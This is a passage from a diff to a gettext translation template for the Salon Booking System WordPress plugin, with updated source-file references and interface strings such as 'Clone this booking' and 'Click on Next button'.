System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:99\n+msgid \"Clear All Dates\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:70\n-msgid \"Attendant holiday\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:541\n+msgid \"Clearing...\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:68, views\u002Fadmin\u002F_calendar_render_day.php:234, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:234, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:234\n-msgid \"Holiday rule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:299\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:299\n+msgid \"Click \\\"Lägg till nyckel\\\" to create a new API key\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:79\n-msgid \"SELECT\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:188\n+msgid \"\"\n+\"Click \\\"Refresh All\\\" to update license status, subscription, and customer \"\n+\"data\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:57\n+msgid \"Click here to start a new appointment.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:234\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:237\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:236\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:234\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:237\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:236\n+msgid \"Click on Next button\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:81, views\u002Fadmin\u002F_calendar_render_day.php:249, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:249, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:249, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:249, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:249, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:249\n msgid \"Click on the \\\"ending time\\\" row\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:131, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:407, views\u002Fshortcode\u002F_salon_summary_400.php:150, views\u002Fshortcode\u002F_salon_summary_600.php:148, views\u002Fshortcode\u002F_salon_summary_900.php:147, src\u002FSLN\u002FThird\u002FGoogleScope.php:908, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:131, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:407, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:150, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:148, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:147, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:908, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:131, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:407, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:150, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:148, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:380, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:380, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:407, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:147, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:908, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:908, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:908, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:908, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:51\n-msgid \"Total amount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_feedback_content.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_feedback_content.php:32\n+msgid \"Click on this button to send us your feedback\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:149, views\u002Fadmin\u002F_calendar_render_day.php:164, views\u002Fadmin\u002F_calendar_render_day.php:177, views\u002Fadmin\u002F_calendar_render_day.php:187, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:441, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:149, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:164, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:177, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:187, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:441, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:149, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:164, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:177, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:187, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:441, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:414, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:414, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:441\n-msgid \"unlock this feature for\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:90\n+msgid \"\"\n+\"Click the button below to manually warm the cache. This is useful for \"\n+\"testing or if you need immediate cache population.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:151, views\u002Fadmin\u002F_calendar_render_day.php:166, views\u002Fadmin\u002F_calendar_render_day.php:179, views\u002Fadmin\u002F_calendar_render_day.php:189, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:442, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:151, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:166, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:179, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:189, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:442, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:151, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:166, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:179, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:189, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:442, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:415, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:415, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:442\n-msgid \"year\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:184\n+msgid \"Client\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:194, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:194, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:194\n-msgid \"unlock this feature\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1119\n+msgid \"Clone\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:195, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:195, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:195\n-msgid \"buy pro\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1108\n+msgid \"Clone this booking\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:199, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:435, src\u002FSLN\u002FAdmin\u002FCalendar.php:120, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:199, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:435, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:120, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:199, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:435, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:199, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:199, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:199, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:435, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:120\n-msgid \"Are you sure?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:508\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 